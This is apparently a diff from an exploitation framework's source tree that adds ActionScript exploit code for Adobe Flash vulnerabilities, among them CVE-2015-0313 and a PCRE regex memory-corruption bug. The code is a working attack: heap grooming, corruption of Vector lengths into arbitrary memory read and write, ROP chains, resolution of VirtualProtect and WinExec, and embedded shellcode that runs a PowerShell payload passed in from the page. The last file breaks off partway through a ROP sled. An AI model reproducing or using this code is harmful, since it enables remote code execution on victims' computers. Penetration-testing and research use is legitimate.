var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,704 @@
package
{
/*
To compile (AIRSDK + Flex):
mxmlc Main.as -o Main.swf -strict=false
*/
import mx.utils.Base64Decoder;
import flash.display.*;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var i:int;
private var j:int;
private const OP_END:int = 0;
private const OP_ANY:int = 12;
private const OP_KET:int = 84;
private const OP_CBRA:int = 94;
private const OP_FAIL:int = 108;
private const OP_ACCEPT:int = 109;
private var testSubject:String = 'c01db33f';
private var subject:String = '';
private var count_576:int = 128;
private var pre_576:int = 4;
private var groom_576:Array = new Array(count_576);
private var count_re:int = 8;
private var source_re:Vector.<String> = new Vector.<String>(count_re);
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
private var subjects:Vector.<String> = new Vector.<String>(count_re);
private var count_504:int = 256 * 3;
private var pre_504:int = 30;
private var groom_504:Array = new Array(count_504);
private var junk:Array = new Array();
private var junk_idx:int = 0;
public static function Debug(message:String):void {
ExternalInterface.call('console.log', message);
}
public function MakeRegex(c:String):String {
var i:int;
var r:String = '(c01db33f|^(' + c + '*)'
for (i = 0; i < 39; ++i) {
r += '(A)';
}
r += '\\'
r += '41';
for (i = 0; i < 20; ++i) {
r += 'A';
}
r += '('
r += '\\'
r += 'c'
r += '\uc080'
r += '*)?(?70))';
return r;
}
public function MakeSubject(c:String):String {
var i:int;
var s:String = c;
for (i = 0; i < 0x80 - 0x3d; ++i) {
s += c;
}
for (i = 0; i < 60; ++i) {
s += 'A';
}
return s;
}
public function MakeByteArray(size:int):ByteArray {
var i:int = 0;
var b:ByteArray = new ByteArray();
b.length = size;
for (i = 0; i < size; ++i) {
b.writeByte(0x23);
}
return b;
}
public function Initialise():void {
for (i = 0; i < 8; ++i) {
subjects[i] = MakeSubject(i.toString());
source_re[i] = MakeRegex(i.toString());
}
}
public function CompileRegex():RegExp {
// heap groom the block of regex bytecode we want to follow our
// legitimate bytecode.
for (i = 0; i < count_576; ++i) {
var b:ByteArray = new ByteArray();
b.length = 576;
// regex nop sled :-p
for (j = 0; j < 500; ++j) {
b.writeByte(OP_ANY);
}
// this is the capturing bracket that find_bracket will be
// looking for to match (?70)
b.writeByte(OP_CBRA);
b.writeByte(1); // WORD length of group (only != 0)
b.writeByte(0);
b.writeByte(0); // WORD number of group (must == 70)
b.writeByte(70);
// we use OP_CBRA to write the current match length at one
// dword past the end of our offset_vector.
//
// this is due to another bug in pcre_exec where it is
// assumed that the group number is
// 0 < number < md->offset_max
// and it is only checked that group < md->offset_max, and
// then indexing is done backwards frm the end of the buffer,
// so a group number of 0 lets us index one dword past the end
// of the offset_vector.
b.writeByte(OP_CBRA);
b.writeByte(0); // WORD length of group
b.writeByte(0);
b.writeByte(0); // WORD number of group
b.writeByte(0);
// we're done with executing this regex for now.
b.writeByte(OP_ACCEPT); // yay a match :-)
b.writeByte(OP_KET); // closing KET for group (?70)
b.writeByte(OP_KET); // closing KET for exploit group
b.writeByte(OP_END);
b.writeByte(0);
groom_576[i] = b;
}
// make some gaps
for (i = 0; i < count_576; i += 2) {
groom_576[i].length = 0;
groom_576[i] = null;
}
for (i = 0; i < (pre_576 * 2); i += 2) {
groom_576[i] = MakeByteArray(576);
}
for (i = 0; i < count_re; ++i) {
try {
Debug('[*] compiling regex');
var re:RegExp = new RegExp(source_re[i]);
compiled_re[i] = re;
var match:Object = re.exec(testSubject);
if (match != null && match[0] == 'c01db33f') {
Debug('[*] compiled successfully');
subject = subjects[i];
return re;
}
else {
// that allocation was no good, fill with a bytearray
junk[junk_idx++] = MakeByteArray(576);
}
} catch (error:Error) {
Debug('[*] error compiling regex: ' + error.message);
}
Debug('[*] failed...');
}
Debug('[*] failed first groom');
return null;
}
public function negative(i:uint):uint {
return (~i) + 1;
}
public function CorruptVector(r:RegExp):Vector.<uint> {
var v:Vector.<uint> = null;
var uv:Vector.<uint> = null;
var ov:Vector.<Object> = null;
for (i = 0; i < count_504; ++i) {
v = new Vector.<uint>(124);
v[0] = 0xc01db33f
v[1] = i;
for (j = 2; j < 124; ++j) {
v[j] = 0x88888888;
}
groom_504[i] = v;
}
for (i = 0; i < count_504; i += 3) {
groom_504[i].length = 0;
groom_504[i] = null;
}
for (i = 0; i < pre_504; i += 1) {
junk[junk_idx++] = MakeByteArray(504);
}
v = null;
for (i = 0; i < 128; i += 3) {
try {
Debug('[*] executing regex');
r.exec(subject);
} catch (error:Error) {
Debug('[*] regex execution failed: ' + error.message);
}
for (j = 1; j < count_504; j += 3) {
if (groom_504[j].length != 124) {
Debug('[*] corrupted vector');
v = groom_504[j];
break;
}
}
if (v != null) {
break;
}
Debug('[*] failed...');
junk[junk_idx++] = MakeByteArray(504);
junk[junk_idx++] = MakeByteArray(504);
}
// at this point we have a vector with a corrupt length, hopefully
// followed by another vector of legitimate length.
if (v == null) {
Debug('[*] failed to groom for vector corruption');
return null;
}
if (v[126] != 0xc01db33f) {
Debug('[*] magic check failed!');
}
// read out the index of the following vector; this is the vector
// that we will use for the rest of the exploit
i = v[127];
uv = groom_504[i];
uv.fixed = true;
// corrupt the length of uv so that we can access all of memory :)
v[124] = 0xffffffff;
// first fix the length of the original corrupted array so we don't
// need to worry about it any more...
uv[negative(0x80)] = 0x6e;
// now read back 0x1f8 bytes before the first vector; this must be
// inside the original offset_vector that we overflowed, (so it is
// guaranteed to be safe) and this buffer is directly free'd at the
// end of pcre_exec. as it's quite a large allocation, we can be
// quite sure that it is still on the freelist and we can steal the
// freelist pointer from it, which will likely point to the block
// after our second vector.
uv[0] = uv[negative(0xfe)];
// we really can't do much sanity checking here; all we know is
// that this should be a pointer, and it will be 8 byte aligned.
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
Debug('[*] freelist ptr sanity check failed!');
uv[negative(2)] = 0x6e;
return null;
}
// uv[0] == address of our vector.<uint>'s buffer
uv[0] -= 0x1f0;
return uv;
}
public function FindGCHeap(m:Memory):uint {
// nothing much to say about this; we know that there's a
// FixedBlock at the start of the page that our vector is allocated
// on, and that holds a pointer back to the global GCHeap, which is
// a static singleton in the flash module. I've copied in the class
// declarations for the structures being traversed, for reference.
var fixed_block:uint = m.vector_base & 0xfffff000;
/*
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
-------> FixedAlloc *alloc; // The allocator that owns this block
char items[1];l // Memory for objects starts here
};
*/
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
/*
class FixedAlloc
{
private:
-------> GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
#ifdef MMGC_MEMORY_PROFILER
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
#endif
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
}
*/
var gcheap:uint = m.read_dword(fixed_alloc);
return gcheap;
}
public function FindPwned(m:Memory, gcheap:uint):uint {
// we're going to walk the heap to find it because we don't like
// being crashy. a lazier approach would be to spray a ton of
// objects and scan forward from our array; this is more reliable.
/*
class GCHeap
{
public:
-------> Region *lastRegion;
private:
...
};
*/
// I have no idea why this is at offset 4. GCheap is not virtual
// so perhaps the Flash code has changed since the github avmplus
// release.
var region:uint = m.read_dword(gcheap + 4);
/*
class Region
{
public:
Region *prev;
char *baseAddr;
char *reserveTop;
char *commitTop;
size_t blockId;
};
*/
while (region != 0) {
var region_base:uint = m.read_dword(region + 4);
var region_rtop:uint = m.read_dword(region + 8);
var region_top:uint = m.read_dword(region + 12);
if (region_rtop & 1 != 0) {
Debug('[*] this browser already got pwned, go away');
return 0;
}
m.write_dword(region + 8, region_rtop + 1);
// TODO: we can optimise here as we know the alignment of the
// magic values.
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
if (m.read_dword(ptr) == 0xdecafbad
&& m.read_dword(ptr + 4) == 0xdecafbad) {
// we have found our two magic values
return ptr - 0x10;
}
}
// region = region->prev;
region = m.read_dword(region);
}
return 0;
}
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
var myshellcode:Array = GetPayload();
// at this point we are sandwiched on the stack between the current
// frame and the previous frame; this is hazardous, we need to
// shift our stack back above the current frame or things will go
// wrong(tm).
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
v[i++] = 0x90900000;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// Our payload (see GetPayload)
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
v[i++] = myshellcode[payload_i];
}
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// we just put things back how they were; at least, everything
// important. we need esp and ebp to be correct, which is easy;
// we need ecx to point to the object's vtable and then we can
// just jump to the actual method implementation as though we
// had hooked it.
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
v[i++] = 0x90900000;
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
v[i++] = 0x90000012;
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
v[i++] = ptr;
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
v[i++] = fun;
v[i++] = 0x9090e0ff; // FFE0 jmp eax
}
public function GetPayload():Array {
// Grab the powershell payload from the sh parameter in the HTML file
var b64:Base64Decoder = new Base64Decoder();
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
b64.decode(raw_psh_payload);
var psh_payload:String = b64.toByteArray().toString();
// This is generated from here:
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
var payload:String = "" +
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
// Here we convert the binary string to an array of DWORDS
var arr:Array = new Array();
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
var hex:String = "";
for (var i2:int = 0; i2 < dword.length; i2++) {
var byte:String = dword.charCodeAt(i2).toString(16);
// The toString(16) conversion doesn't print zeros the way we want it.
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
// Another example: For 0x0c, it returns 'c', but it should be '0c'
if (byte == '0') {
byte = "00";
} else if (byte.length == 1) {
byte = '0' + byte;
}
hex += byte;
}
var real_dword:uint = parseInt(hex, 16);
arr.push(real_dword);
}
return arr;
}
public function Main() {
i = 0;
Initialise();
var r:RegExp = CompileRegex();
if (r == null) {
return;
}
Debug("Corrupting Vector");
var v:Vector.<uint> = CorruptVector(r);
if (v == null) {
Debug("CorruptVector returns null");
return;
}
var m:Memory = new Memory(v, v[0], 0x6e);
// at this point we have an absolute read/write primitive letting
// us read and write dwords anywhere in memory, so everything else
// is a technicality.
// we need an exception handler from here, because we have a vector
// that's addressing the whole address space, and if anything goes
// wrong, we want to clean that up or things will get unpleasant.
try {
// first we follow some pointers on the heap back to retrieve
// the address of the static GCHeap object in the flash module.
// this is useful for two reasons; firstly it gives us a
// pointer into the flash module, but secondly (and more
// importantly) we can use the region lists in the GCHeap
// structure to safely scan the heap to find things.
var gcheap:uint = FindGCHeap(m);
if (gcheap == 0) {
return;
}
// now we can parse the flash module in memory, locate useful
// imports and find the stack adjust gadget that we need.
Debug('[*] scanning flash module for gadgets');
var p:PE32 = new PE32(m, gcheap);
Debug(' [-] ' + p.base.toString(16) + ' flash base');
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
// Find this in Flash
// 81 c4 40 00 00 00 add esp, 40h
// c3 ret
var gadget_bytes:ByteArray = new ByteArray();
gadget_bytes.length = 7;
gadget_bytes.writeByte(0x81);
gadget_bytes.writeByte(0xc4);
gadget_bytes.writeByte(0x40);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0xc3);
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
var ret:uint = add_esp_40h_ret + 6;
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
Debug(' [-] ' + ret.toString(16) + ' ret');
// now we create an actionscript class that we can readily
// signature on the heap; we're going to find this object and
// overwrite its vtable pointer to gain control of execution.
Debug('[*] scanning heap to find pwned object');
var pwned:Pwned = new Pwned();
var pwned_ptr:uint = FindPwned(m, gcheap);
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
if (pwned_ptr == 0) {
return;
}
// we have a pointer to the object; save the vtable pointer for
// replacement later and then create a new vtable containing
// our gadget at the correct offset for the 'Rop' function.
// object ptr is actually a ScriptObject* for our ClassClosure?
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
var shellcode:uint = m.vector_base + 4;
WriteShellcode(v, 1, vtable_ptr, method_ptr);
// invoking the method first makes our life simpler; otherwise
// flash will go hunt for the right method, and recovery was
// quite messy.
var a:uint = 0x61616161;
pwned.Rop(
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
// overwrite the method pointer
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
// fix up our vector length already, since we won't need it again.
m.Cleanup();
var PAGE_EXECUTE_READWRITE:uint = 0x40;
// where better to rop than the actual stack :-P
Debug('[*] getting ma rop on');
pwned.Rop(
// ret sled oh yeah!
// actually this is just me lazily making stack space so
// that VirtualProtect doesn't trample all over any of
// flash's stuff and make it have a sad.
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
